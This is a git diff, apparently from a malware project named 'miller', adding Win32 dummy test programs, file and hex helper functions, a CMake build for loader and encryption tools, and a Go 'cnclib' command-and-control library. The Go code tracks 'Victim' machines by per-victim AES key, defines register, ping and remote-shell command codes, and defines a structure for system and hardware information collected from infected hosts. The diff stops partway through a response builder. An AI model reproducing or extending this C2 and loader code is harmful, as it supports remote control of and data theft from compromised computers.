+int subroutine(void* ptr, int d)
+{
+ return (int)ptr+d+1;
+}
+
+int main(int argc, char** argv)
+{
+ DWORD dwWait = 2;
+
+ if (argc > 1 && argc != 2) {
+ printf("usage: %s [WAIT_TIME]\n", argv[0]);
+ abort();
+ } else if (argc == 2) {
+ errno = 0;
+ dwWait = strtoul(argv[1], NULL, 10);
+ if (errno != 0)
+ dwWait = 2;
+ }
+
+ printf("%s", "Hi, I'm a useless dummy like the guy who coded me.\n");
+ printf("Waiting %lu seconds ..\n", dwWait);
+ sleep(dwWait);
+ printf("%s", "Dummy done.\n");
+ if (subroutine(NULL, 1) == 2) {
+ return 0;
+ } else return 1;
+}
diff --git a/source/tools/dummy_gui/callbacks.c b/source/tools/dummy_gui/callbacks.c
new file mode 100644
index 0000000..3bc40fd
--- /dev/null
+++ b/source/tools/dummy_gui/callbacks.c
@@ -0,0 +1,94 @@
+#include "callbacks.h"
+#include "resource.h"
+
+// Window procedure for our main window.
+LRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+ static HINSTANCE hInstance;
+
+ switch (msg)
+ {
+ case WM_COMMAND:
+ {
+ switch (LOWORD(wParam))
+ {
+ case ID_HELP_ABOUT:
+ {
+ DialogBox(hInstance, MAKEINTRESOURCE(IDD_ABOUTDIALOG), hWnd, &AboutDialogProc);
+ return 0;
+ }
+
+ case ID_FILE_EXIT:
+ {
+ DestroyWindow(hWnd);
+ return 0;
+ }
+ }
+ break;
+ }
+
+ case WM_GETMINMAXINFO:
+ {
+ MINMAXINFO *minMax = (MINMAXINFO*) lParam;
+ minMax->ptMinTrackSize.x = 220;
+ minMax->ptMinTrackSize.y = 110;
+
+ return 0;
+ }
+
+ case WM_SYSCOMMAND:
+ {
+ switch (LOWORD(wParam))
+ {
+ case ID_HELP_ABOUT:
+ {
+ DialogBox(hInstance, MAKEINTRESOURCE(IDD_ABOUTDIALOG), hWnd, &AboutDialogProc);
+ return 0;
+ }
+ }
+ break;
+ }
+
+ case WM_CREATE:
+ {
+ hInstance = ((LPCREATESTRUCT) lParam)->hInstance;
+ return 0;
+ }
+
+ case WM_DESTROY:
+ {
+ PostQuitMessage(0);
+ return 0;
+ }
+ }
+
+ return DefWindowProc(hWnd, msg, wParam, lParam);
+}
+
+
+// Dialog procedure for our "about" dialog.
+INT_PTR CALLBACK AboutDialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
+{
+ (void)lParam;
+ switch (uMsg)
+ {
+ case WM_COMMAND:
+ {
+ switch (LOWORD(wParam))
+ {
+ case IDOK:
+ case IDCANCEL:
+ {
+ EndDialog(hwndDlg, (INT_PTR) LOWORD(wParam));
+ return (INT_PTR) TRUE;
+ }
+ }
+ break;
+ }
+
+ case WM_INITDIALOG:
+ return (INT_PTR) TRUE;
+ }
+
+ return (INT_PTR) FALSE;
+}
diff --git a/source/tools/dummy_gui/callbacks.h b/source/tools/dummy_gui/callbacks.h
new file mode 100644
index 0000000..7cc79c5
--- /dev/null
+++ b/source/tools/dummy_gui/callbacks.h
@@ -0,0 +1,12 @@
+#ifndef CALLBACKS_H
+#define CALLBACKS_H
+
+#include <windows.h>
+
+// Window procedure for our main window.
+LRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
+
+// Dialog procedure for our "about" dialog.
+INT_PTR CALLBACK AboutDialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
+
+#endif
diff --git a/source/tools/dummy_gui/res/Application.ico b/source/tools/dummy_gui/res/Application.ico
new file mode 100644
index 0000000..d551aa3
--- /dev/null
+++ b/source/tools/dummy_gui/res/Application.ico
Binary files differ
diff --git a/source/tools/dummy_gui/res/Application.manifest b/source/tools/dummy_gui/res/Application.manifest
new file mode 100644
index 0000000..d984135
--- /dev/null
+++ b/source/tools/dummy_gui/res/Application.manifest
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+
+<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+ <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
+ <security>
+ <requestedPrivileges>
+ <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
+ </requestedPrivileges>
+ </security>
+ </trustInfo>
+ <dependency>
+ <dependentAssembly>
+ <assemblyIdentity type="Win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/>
+ </dependentAssembly>
+ </dependency>
+</assembly> \ No newline at end of file
diff --git a/source/tools/dummy_gui/res/resource.rc b/source/tools/dummy_gui/res/resource.rc
new file mode 100644
index 0000000..489dd7a
--- /dev/null
+++ b/source/tools/dummy_gui/res/resource.rc
@@ -0,0 +1,73 @@
+#include <windows.h>
+#include "resource.h"
+
+// Win32 application icon.
+IDI_APPICON ICON "Application.ico"
+
+// Our main menu.
+IDR_MAINMENU MENU
+BEGIN
+ POPUP "&File"
+ BEGIN
+ MENUITEM "E&xit", ID_FILE_EXIT
+ END
+ POPUP "&Help"
+ BEGIN
+ MENUITEM "&About", ID_HELP_ABOUT
+ END
+END
+
+// Application manifest.
+CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST "Application.manifest"
+
+// Executable version information.
+VS_VERSION_INFO VERSIONINFO
+FILEVERSION 1,0,0,0
+PRODUCTVERSION 1,0,0,0
+FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
+#ifdef _DEBUG
+ FILEFLAGS VS_FF_DEBUG | VS_FF_PRERELEASE
+#else
+ FILEFLAGS 0
+#endif
+FILEOS VOS_NT_WINDOWS32
+FILETYPE VFT_APP
+FILESUBTYPE VFT2_UNKNOWN
+BEGIN
+ BLOCK "StringFileInfo"
+ BEGIN
+ BLOCK "080904b0"
+ BEGIN
+ VALUE "CompanyName", "Transmission Zero"
+ VALUE "FileDescription", "Win32 Test application"
+ VALUE "FileVersion", "1.0.0.0"
+ VALUE "InternalName", "Win32App"
+ VALUE "LegalCopyright", "©2013 Transmission Zero"
+ VALUE "OriginalFilename", "Win32App.exe"
+ VALUE "ProductName", "Win32 Test application"
+ VALUE "ProductVersion", "1.0.0.0"
+ END
+ END
+ BLOCK "VarFileInfo"
+ BEGIN
+ VALUE "Translation", 0x809, 1200
+ END
+END
+
+// Our "about" dialog.
+IDD_ABOUTDIALOG DIALOGEX 0, 0, 147, 67
+STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU
+CAPTION "About"
+FONT 8, "MS Shell Dlg", 400, 0, 0x1
+BEGIN
+ ICON IDI_APPICON,IDC_STATIC,7,7,20,20
+ LTEXT "Win32 Test application.",IDC_STATIC,34,7,86,8
+ LTEXT "©2013 Transmission Zero",IDC_STATIC,34,17,86,8
+ DEFPUSHBUTTON "OK",IDOK,90,46,50,14,WS_GROUP
+END
+
+// Our accelerators.
+IDR_ACCELERATOR ACCELERATORS
+BEGIN
+ "A", ID_HELP_ABOUT, VIRTKEY, ALT, NOINVERT
+END
diff --git a/source/tools/dummy_gui/resource.h b/source/tools/dummy_gui/resource.h
new file mode 100644
index 0000000..ccda0e7
--- /dev/null
+++ b/source/tools/dummy_gui/resource.h
@@ -0,0 +1,10 @@
+#define IDI_APPICON 101
+#define IDR_MAINMENU 102
+#define IDR_ACCELERATOR 103
+#define IDD_ABOUTDIALOG 104
+#define ID_FILE_EXIT 40001
+#define ID_HELP_ABOUT 40002
+
+#ifndef IDC_STATIC
+ #define IDC_STATIC -1
+#endif
diff --git a/source/tools/dummy_gui/winmain.c b/source/tools/dummy_gui/winmain.c
new file mode 100644
index 0000000..e2de4ac
--- /dev/null
+++ b/source/tools/dummy_gui/winmain.c
@@ -0,0 +1,83 @@
+#include <windows.h>
+#include <commctrl.h>
+#include "resource.h"
+#include "callbacks.h"
+
+// Our application entry point.
+int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
+{
+ INITCOMMONCONTROLSEX icc;
+ WNDCLASSEX wc;
+ LPCTSTR MainWndClass = TEXT("Win32 Test application");
+ HWND hWnd;
+ HACCEL hAccelerators;
+ HMENU hSysMenu;
+ MSG msg;
+
+ (void)hPrevInstance;
+ (void)lpCmdLine;
+
+ // Initialise common controls.
+ icc.dwSize = sizeof(icc);
+ icc.dwICC = ICC_WIN95_CLASSES;
+ InitCommonControlsEx(&icc);
+
+ // Class for our main window.
+ wc.cbSize = sizeof(wc);
+ wc.style = 0;
+ wc.lpfnWndProc = &MainWndProc;
+ wc.cbClsExtra = 0;
+ wc.cbWndExtra = 0;
+ wc.hInstance = hInstance;
+ wc.hIcon = (HICON) LoadImage(hInstance, MAKEINTRESOURCE(IDI_APPICON), IMAGE_ICON, 0, 0,
+ LR_DEFAULTSIZE | LR_DEFAULTCOLOR | LR_SHARED);
+ wc.hCursor = (HCURSOR) LoadImage(NULL, IDC_ARROW, IMAGE_CURSOR, 0, 0, LR_SHARED);
+ wc.hbrBackground = (HBRUSH) (COLOR_BTNFACE + 1);
+ wc.lpszMenuName = MAKEINTRESOURCE(IDR_MAINMENU);
+ wc.lpszClassName = MainWndClass;
+ wc.hIconSm = (HICON) LoadImage(hInstance, MAKEINTRESOURCE(IDI_APPICON), IMAGE_ICON,
+ GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON),
+ LR_DEFAULTCOLOR | LR_SHARED);
+
+ // Register our window classes, or error.
+ if (! RegisterClassEx(&wc))
+ {
+ MessageBox(NULL, TEXT("Error registering window class."), TEXT("Error"), MB_ICONERROR | MB_OK);
+ return 0;
+ }
+
+ // Create instance of main window.
+ hWnd = CreateWindowEx(0, MainWndClass, MainWndClass, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT,
+ 320, 200, NULL, NULL, hInstance, NULL);
+
+ // Error if window creation failed.
+ if (! hWnd)
+ {
+ MessageBox(NULL, TEXT("Error creating main window."), TEXT("Error"), MB_ICONERROR | MB_OK);
+ return 0;
+ }
+
+ // Load accelerators.
+ hAccelerators = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR));
+
+ // Add "about" to the system menu.
+ hSysMenu = GetSystemMenu(hWnd, FALSE);
+ InsertMenu(hSysMenu, 5, MF_BYPOSITION | MF_SEPARATOR, 0, NULL);
+ InsertMenu(hSysMenu, 6, MF_BYPOSITION, ID_HELP_ABOUT, TEXT("About"));
+
+ // Show window and force a paint.
+ ShowWindow(hWnd, nCmdShow);
+ UpdateWindow(hWnd);
+
+ // Main message loop.
+ while(GetMessage(&msg, NULL, 0, 0) > 0)
+ {
+ if (! TranslateAccelerator(msg.hwnd, hAccelerators, &msg))
+ {
+ TranslateMessage(&msg);
+ DispatchMessage(&msg);
+ }
+ }
+
+ return (int) msg.wParam;
+}
diff --git a/source/tools/helper.c b/source/tools/helper.c
new file mode 100644
index 0000000..a27da7e
--- /dev/null
+++ b/source/tools/helper.c
@@ -0,0 +1,150 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <fcntl.h>
+#include <string.h>
+
+#include <sys/stat.h>
+
+#ifdef __MINGW32__
+#include <windows.h>
+#else
+#include <sys/mman.h> /* mmap - not available on windoze */
+#endif
+
+#include "helper.h"
+
+#ifdef _USE_PYTHON
+#undef _POSIX_C_SOURCE
+#undef _XOPEN_SOURCE
+#include <Python.h>
+#endif
+
+
+static const char hextable[] = "0123456789ABCDEF";
+
+
+#ifdef _USE_PYTHON
+void* MyPyMem_Calloc(size_t n, size_t s)
+{
+ void* ptr = PyMem_Malloc(n*s);
+ if (ptr)
+ memset(ptr, '\0', n*s);
+ return ptr;
+}
+#endif
+
+char* mapfile(const char* path, size_t* mapsizptr)
+{
+ /* TODO: MINGW alternative should to exactly the same as the linux one! (map file to memory without duplicating the mmap's buffer) */
+#ifdef __MINGW32__
+ HANDLE hfile = CreateFile(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hfile == INVALID_HANDLE_VALUE)
+ return NULL;
+ if (SetFilePointer(hfile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
+ return NULL;
+ *mapsizptr = GetFileSize(hfile, NULL);
+ if (*mapsizptr == INVALID_FILE_SIZE)
+ return NULL;
+ char* buf = calloc(*mapsizptr, sizeof(char));
+ DWORD szread = 0;
+ if (!buf)
+ return NULL;
+ if (ReadFile(hfile, buf, *mapsizptr, &szread, NULL) != TRUE) {
+ free(buf);
+ return NULL;
+ }
+ CloseHandle(hfile);
+ return buf;
+#else
+ int fd = open(path, O_RDWR);
+ if (fd == -1)
+ return NULL;
+ struct stat sb;
+ if (fstat(fd, &sb) == -1)
+ return NULL;
+ char* mapd = mmap(NULL, sb.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+ if (mapd == MAP_FAILED)
+ return NULL;
+ *mapsizptr = sb.st_size;
+ close(fd);
+ return mapd;
+#endif
+}
+
+ssize_t writebuf(const char* path, unsigned char* buf, size_t siz)
+{
+ int ffd = open(path, O_WRONLY | O_CREAT | O_TRUNC,
+ S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+ ssize_t wrt = write(ffd, buf, siz);
+ close(ffd);
+ return wrt;
+}
+
+char* bintostr(const char* buf, size_t siz, size_t delim, size_t *strlenptr)
+{
+ register size_t i;
+ size_t allocLen = ( delim > 0 ? (int)(siz/delim) : 1 ) + siz*2;
+ char* result = calloc(allocLen+1, sizeof(char));
+ char tmp[4];
+
+ tmp[3] = '\0';
+ for (i = 0; i < siz; ++i) {
+ register unsigned char halfByte = buf[i] >> 4;
+ tmp[0] = hextable[halfByte%16];
+ halfByte = buf[i] & 0x0F;
+ tmp[1] = hextable[halfByte%16];
+ tmp[2] = '\0';
+ if (delim>0 && i%delim==delim-1)
+ tmp[2] = ' ';
+ strcat(result, tmp);
+ }
+ result[allocLen] = '\0';
+ if (strlenptr) {
+ *strlenptr = allocLen;
+ }
+ return result;
+}
+
+void printrimmed(char* str, size_t siz, size_t charsperline, bool printlinenmb)
+{
+ if (charsperline == 0) {
+ printf("%s\n", str);
+ } else {
+ unsigned long ln = 0;
+ for (size_t i = 0; i < siz; i+=charsperline) {
+ if (printlinenmb) {
+ printf("%04lu: ", ln++);
+ }
+ size_t psiz = (i+1 < siz-charsperline ? charsperline : siz-i);
+ printf("%.*s\n", (int)psiz, (str + i));
+ }
+ }
+}
+
+void printbytebuf(char* buf, size_t siz, size_t charsperline, bool printlinenmb)
+{
+ size_t hexlen = 0;
+ char* hexbuf = bintostr(buf, siz, 1, &hexlen);
+ printrimmed(hexbuf, hexlen, charsperline, printlinenmb);
+ free(hexbuf);
+}
+
+char *strnstr(const char *haystack, const char *needle, size_t len)
+{
+ int i;
+ size_t needle_len;
+
+ if (0 == (needle_len = strnlen(needle, len)))
+ return (char *)haystack;
+
+ for (i=0; i<=(int)(len-needle_len); i++) {
+ if ((haystack[0] == needle[0]) &&
+ (0 == strncmp(haystack, needle, needle_len)))
+ return (char *)haystack;
+ haystack++;
+ }
+ return NULL;
+}
diff --git a/source/tools/helper.h b/source/tools/helper.h
new file mode 100644
index 0000000..cc5e75b
--- /dev/null
+++ b/source/tools/helper.h
@@ -0,0 +1,37 @@
+#ifndef HELPER_H_INCLUDED
+#define HELPER_H_INCLUDED
+
+#include <stdbool.h>
+#include <stdlib.h>
+
+#ifdef _USE_PYTHON
+/* Python header files redefine some macros */
+#undef _POSIX_C_SOURCE
+#undef _XOPEN_SOURCE
+#include <Python.h> /* obligatory */
+
+#undef calloc
+#undef malloc
+#undef realloc
+#undef free
+#define calloc MyPyMem_Calloc
+#define malloc PyMem_Malloc
+#define realloc PyMem_Realloc
+#define free PyMem_Free
+void* MyPyMem_Calloc(size_t n, size_t s);
+#endif /* _USE_PYTHON */
+
+
+char* mapfile(const char* path, size_t* mapsizptr);
+
+ssize_t writebuf(const char* path, unsigned char* buf, size_t siz);
+
+char* bintostr(const char* buf, size_t siz, size_t delim, size_t *strlenptr);
+
+void printrimmed(char* str, size_t siz, size_t charsperline, bool printlinenmb);
+
+void printbytebuf(char* buf, size_t siz, size_t charsperline, bool printlinenmb);
+
+char *strnstr(const char *haystack, const char *needle, size_t len);
+
+#endif
diff --git a/source/tools/host/CMakeLists.txt b/source/tools/host/CMakeLists.txt
new file mode 100644
index 0000000..4acadcc
--- /dev/null
+++ b/source/tools/host/CMakeLists.txt
@@ -0,0 +1,106 @@
+cmake_minimum_required(VERSION 2.8)
+set(SYSROOT_DIR ../../../deps/sysroot/bin)
+set(TOOLCHAIN_PREFIX ${CMAKE_SOURCE_DIR}/${SYSROOT_DIR})
+set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}/gcc)
+set(CMAKE_LINKER ${TOOLCHAIN_PREFIX}/ld)
+set(CMAKE_CXX_COMPILER false)
+set(CMAKE_CXX_LINK_EXECUTABLE false)
+set(CMAKE_RC_COMPILER_INIT false)
+project(host-tools C)
+set(CMAKE_VERBOSE_MAKEFILE ON)
+set(CMAKE_RULE_MESSAGES OFF)
+
+set(CMAKE_C_FLAGS "-Wall -std=gnu99 -g -D_GNU_SOURCE=1 -D_NO_COMPAT=1 -D_NO_UTILS=1 -D_HOST_TOOLS=1")
+
+set(MILLER_DEFAULT_SRCDIR ${CMAKE_SOURCE_DIR}/../.. CACHE INTERNAL "" FORCE)
+set(MILLER_DEFAULT_HDRDIR ${CMAKE_SOURCE_DIR}/../../../include CACHE INTERNAL "" FORCE)
+set(MILLER_DEFAULT_TOOLSDIR ${CMAKE_SOURCE_DIR}/.. CACHE INTERNAL "" FORCE)
+
+message(STATUS "CMAKE_C_COMPILER: ${CMAKE_C_COMPILER}")
+message(STATUS "CMAKE_LINKER: ${CMAKE_LINKER}")
+message(STATUS "CMAKE_C_LINK_EXECUTABLE: ${CMAKE_C_LINK_EXECUTABLE}")
+
+if (NOT MILLER_SRCDIR)
+ message(AUTHOR_WARNING "MILLER_SRCDIR: missing, using default ${MILLER_DEFAULT_SRCDIR}")
+ set(MILLER_SRCDIR ${MILLER_DEFAULT_SRCDIR})
+else()
+ message(STATUS "MILLER_SRCDIR: ${MILLER_SRCDIR}")
+endif()
+
+if (NOT MILLER_TOOLSDIR)
+ message(AUTHOR_WARNING "MILLER_TOOLSDIR: missing")
+ set(MILLER_TOOLSDIR ${MILLER_DEFAULT_TOOLSDIR})
+else()
+ message(STATUS "MILLER_TOOLSDIR: ${MILLER_TOOLSDIR}")
+endif()
+
+if (NOT MILLER_HDRDIR)
+ message(AUTHOR_WARNING "MILLER_HDRDIR: missing")
+ set(MILLER_HDRDIR ${MILLER_DEFAULT_HDRDIR})
+else()
+ message(STATUS "MILLER_HDRDIR: ${MILLER_HDRDIR}")
+endif()
+
+if (NOT MILLER_HDRDIR_CREATED)
+ message(FATAL_ERROR "MILLER_HDRDIR_CREATED: missing")
+endif()
+
+if (NOT LOADER_ENDMARKER)
+ message(FATAL_ERROR "LOADER_ENDMARKER: missing")
+else()
+ message(STATUS "LOADER_ENDMARKER: ${LOADER_ENDMARKER}")
+endif()
+
+if (NOT PYTHON_INCDIR)
+ message(FATAL_ERROR "PYTHON_INCDIR: missing")
+else()
+ message(STATUS "PYTHON_INCDIR: ${PYTHON_INCDIR}")
+endif()
+
+message(STATUS "INSTALL_DEST: ${INSTALL_DEST}")
+
+
+set(CRYPT_SRC ${MILLER_SRCDIR}/aes.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/utils.c hdr_crypt.c)
+set(STRINGS_SRC ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/utils.c ${MILLER_TOOLSDIR}/helper.c)
+
+
+add_executable(hdr_crypt-host ${CRYPT_SRC})
+target_include_directories(hdr_crypt-host PRIVATE ${MILLER_HDRDIR} ${MILLER_TOOLSDIR})
+
+
+add_executable(strings-host ${STRINGS_SRC})
+target_include_directories(strings-host PRIVATE ${MILLER_HDRDIR} ${MILLER_HDRDIR_CREATED} ${MILLER_TOOLSDIR})
+target_compile_definitions(strings-host PRIVATE _PRE_RELEASE=1 _STRINGS_BIN=1)
+
+
+add_library(pyloader SHARED ${MILLER_TOOLSDIR}/helper.c pyloader.c)
+target_include_directories(pyloader PRIVATE ${PYTHON_INCDIR} ${MILLER_HDRDIR} ${MILLER_TOOLSDIR})
+target_compile_definitions(pyloader PRIVATE _USE_PYTHON=1 _LOADER_ENDMARKER=${LOADER_ENDMARKER})
+set_target_properties(pyloader PROPERTIES PREFIX "")
+set_target_properties(pyloader PROPERTIES COMPILE_FLAGS "-fPIC -O2 -shared -Wextra -Wno-unused-parameter")
+
+
+add_library(pycrypt SHARED ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/aes.c ${MILLER_TOOLSDIR}/helper.c pycrypt.c)
+target_include_directories(pycrypt PRIVATE ${PYTHON_INCDIR} ${MILLER_HDRDIR} ${MILLER_TOOLSDIR})
+target_compile_definitions(pycrypt PRIVATE _USE_PYTHON=1)
+set_target_properties(pycrypt PROPERTIES PREFIX "")
+set_target_properties(pycrypt PROPERTIES COMPILE_FLAGS "-fPIC -O2 -shared -Wextra -Wno-unused-parameter -Wno-sign-compare")
+
+
+macro(host_tools_install target destdir)
+ set(${target}_FILE "${destdir}/${target}")
+
+ add_custom_command(OUTPUT ${${target}_FILE} /force-run
+ COMMAND ${CMAKE_COMMAND} -E copy_if_different "$<TARGET_FILE:${target}>" "${${target}_FILE}"
+ )
+ add_custom_target(${target}-install
+ ALL
+ DEPENDS ${target} ${${target}_FILE}
+ )
+ add_dependencies(${target}-install ${target})
+endmacro()
+
+host_tools_install(hdr_crypt-host ${INSTALL_DEST})
+host_tools_install(pyloader ${INSTALL_DEST})
+host_tools_install(pycrypt ${INSTALL_DEST})
+host_tools_install(strings-host ${INSTALL_DEST})
diff --git a/source/tools/host/go/cnclib/miller_consts.go b/source/tools/host/go/cnclib/miller_consts.go
new file mode 100644
index 0000000..388c25c
--- /dev/null
+++ b/source/tools/host/go/cnclib/miller_consts.go
@@ -0,0 +1,98 @@
+package miller
+
+import (
+ "fmt"
+)
+
+
+const KEY_256 uint8 = (256/8)
+const MARKER_SIZ uint8 = 8
+const AESKEY_SIZ uint8 = 32
+const HW_PROFILE_GUIDLEN uint8 = 39
+const MAX_PROFILE_LEN uint8 = 80
+
+const RF_INITIAL uint8 = 0x00
+const RF_AGAIN uint8 = 0x41
+const RF_ERROR uint8 = 0x42
+const RF_OK uint8 = 0x66
+
+const RC_INFO uint16 = 0xACAB
+const RC_REGISTER uint16 = 0xAABB
+const RC_PING uint16 = 0x0043
+const RC_SHELL uint16 = 0x0044
+
+func RCtoString(rc uint16) string {
+ switch rc {
+ case RC_INFO:
+ return "RC_INFO"
+ case RC_REGISTER:
+ return "RC_REGISTER"
+ case RC_PING:
+ return "RC_PING"
+ case RC_SHELL:
+ return "RC_SHELL"
+ default:
+ return "UNKNOWN"
+ }
+}
+
+type HttpResp struct {
+ StartMarker [MARKER_SIZ]byte
+ RespFlags uint8
+ RespCode uint16
+ Pkgsiz uint32
+ Pkgbuf []byte
+}
+
+func (hr *HttpResp) String() string {
+ return fmt.Sprintf("Marker: '%s', Flags: 0x%04X, Code: 0x%04X, " +
+ "PKGSIZ: 0x%04X, PKGBUF: '%v'",
+ hr.StartMarker, hr.RespFlags, hr.RespCode,
+ hr.Pkgsiz, hr.Pkgbuf)
+}
+
+type RespRegister struct {
+ Aeskey [AESKEY_SIZ]byte
+ NextPing uint32
+}
+
+type RespPong struct {
+ NextPing uint32
+}
+
+type RespShell struct {
+ Operation uint8
+ Showcmd uint8
+ FileLen uint16
+ ParamLen uint16
+ DirLen uint16
+ Data []byte
+}
+
+type SYSTEM_INFO_32 struct {
+ ProcessorArchitecture uint16
+ Reserved uint16
+ PageSize uint32
+ MinimumApplicationAddress uint32
+ MaximumApplicationAddress uint32
+ ActiveProcessorMask uint32
+ NumberOfProcessors uint32
+ ProcessorType uint32
+ AllocationGranularity uint32
+ ProcessorLevel uint16
+ ProcessorRevision uint16
+}
+
+type HW_PROFILE_INFOA struct {
+ DockInfo uint32
+ HwProfileGuid [HW_PROFILE_GUIDLEN]byte
+ HwProfileName [MAX_PROFILE_LEN]byte
+}
+
+type ReqInfo struct {
+ SI SYSTEM_INFO_32
+ HW HW_PROFILE_INFOA
+ CmdLineLen uint16
+ DevsLen uint8
+ Data []byte
+}
diff --git a/source/tools/host/go/cnclib/miller_victim.go b/source/tools/host/go/cnclib/miller_victim.go
new file mode 100644
index 0000000..15f7917
--- /dev/null
+++ b/source/tools/host/go/cnclib/miller_victim.go
@@ -0,0 +1,165 @@
+package miller
+
+import (
+ "github.com/zhuangsirui/binpacker"
+
+ "fmt"
+ "time"
+ "encoding/json"
+ "encoding/binary"
+ //"encoding/hex"
+ "bytes"
+)
+
+
+type Victim struct {
+ Last_rf_rx uint8 `json:"LRFRX"`
+ Last_rc_rx uint16 `json:"LRCRX"`
+ Last_rf_tx uint8 `json:"LRFTX"`
+ Last_rc_tx uint16 `json:"LRCTX"`
+ Last_active time.Time `json:"LA"`
+ Last_json time.Time `json:"LJ"`
+ Aeskey [AESKEY_SIZ]byte `json:"AK"`
+ Requests uint `json:"REQS"`
+}
+
+
+func NewVictim() *Victim {
+ return &Victim{ 0, 0, 0, 0, time.Time{}, time.Time{}, [AESKEY_SIZ]byte{}, 0 }
+}
+
+func (v *Victim) Reset() {
+ v.Last_rf_rx = 0
+ v.Last_rf_rx = 0
+}
+
+func (v *Victim) String() string {
+ return fmt.Sprintf("last_rf_rx: 0x%04X, last_rc_rx: 0x%04X, last_rf_tx: 0x%04X, " +
+ "last_rc_tx: 0x%04X, aeskey: '%v', requests: %v",
+ v.Last_rf_rx, v.Last_rc_rx, v.Last_rf_tx, v.Last_rc_tx, v.Aeskey, v.Requests)
+}
+
+func (v *Victim) ToJSON(debug_only bool) ([]byte, error) {
+ if !debug_only {
+ v.Last_json = time.Now()
+ }
+ return json.Marshal(v)
+}
+
+func (v *Victim) FromJSON(json_input []byte) error {
+ return json.Unmarshal(json_input, v)
+}
+
+func copySliceToArray(dest []byte, src []byte, siz int) error {
+ if len(src) != len(dest) {
+ return fmt.Errorf("parseValue: %d bytes (src) != %d bytes (dest)", len(src), len(dest))
+ }
+ copied := copy(dest[:], src)
+ if copied != siz {
+ return fmt.Errorf("parseMarker: copied only %d instead of %d", copied, siz)
+ }
+ return nil
+}
+
+func ParseMarker(dest *[MARKER_SIZ]byte, src []byte) error {
+ return copySliceToArray(dest[:], src, int(MARKER_SIZ))
+}
+
+func ParseMarkerResponse(response *HttpResp, src []byte) error {
+ return ParseMarker(&response.StartMarker, src)
+}
+
+func ParseAESKey(dest *[AESKEY_SIZ]byte, src []byte) error {
+ return copySliceToArray(dest[:], src, int(AESKEY_SIZ))
+}
+
+func ParseAESKeyResponse(response *RespRegister, src []byte) error {
+ return ParseAESKey(&response.Aeskey, src)
+}
+
+func (v *Victim) SetAESKey(aeskey []byte) error {
+ return ParseAESKey(&v.Aeskey, aeskey)
+}
+
+func (v *Victim) HasAESKey() bool {
+ var nullkey [AESKEY_SIZ]byte
+ return !bytes.Equal(v.Aeskey[:], nullkey[:])
+}
+
+func (v *Victim) ParseRequest(dest []byte, response *HttpResp) error {
+ buffer := bytes.NewBuffer(dest)
+ unpacker := binpacker.NewUnpacker(binary.LittleEndian, buffer)
+ marker_bytearr, err := unpacker.ShiftBytes(uint64(MARKER_SIZ))
+ if err != nil {
+ return fmt.Errorf("marker: %s", err)
+ }
+ if copy(response.StartMarker[:], marker_bytearr) != int(MARKER_SIZ) {
+ return fmt.Errorf("marker: copy failed")
+ }
+ v.Last_active = time.Now()
+ unpacker.FetchUint8(&response.RespFlags)
+ v.Last_rf_rx = response.RespFlags
+ unpacker.FetchUint16(&response.RespCode)
+ v.Last_rc_rx = response.RespCode
+ if !v.HasAESKey() {
+ v.Last_rc_rx = RC_REGISTER
+ }
+ unpacker.FetchUint32(&response.Pkgsiz)
+ response.Pkgbuf, err = unpacker.ShiftBytes(uint64(response.Pkgsiz))
+ if err != nil {
+ return fmt.Errorf("pkgbuf: %s", err)
+ }
+ v.Requests++
+ return nil
+}
+
+func (v *Victim) buildResponse(response *HttpResp, dest []byte) ([]byte, error) {
+ buffer := bytes.Buffer{}
+ packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
+ packer.PushBytes(response.StartMarker[:])
+ packer.PushUint8(response.RespFlags)
+ v.Last_rf_tx = response.RespFlags
+ packer.PushUint16(response.RespCode)
+ v.Last_rc_tx = response.RespCode
+ packer.PushUint32(response.Pkgsiz)
+ packer.PushBytes(response.Pkgbuf)
+ err := packer.Error()
+ if err != nil {
+ v.Reset()
+ return nil, err
+ }
+ return append(dest, buffer.Bytes()...), nil
+}
+
+func (v *Victim) BuildRegisterResponse(response *HttpResp, respreg *RespRegister, dest []byte) ([]byte, error) {
+ buffer := bytes.Buffer{}
+ packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
+ packer.PushBytes(respreg.Aeskey[:])
+ packer.PushUint32(respreg.NextPing)
+ err := packer.Error()
+ if err != nil {
+ return nil, err
+ }
+ response.Pkgsiz = uint32(len(buffer.Bytes()))
+ response.Pkgbuf = buffer.Bytes()
+ return v.buildResponse(response, dest)
+}
+
+func (v *Victim) BuildPongResponse(response *HttpResp, respong *RespPong, dest []byte) ([]byte, error) {
+ buffer := bytes.Buffer{}
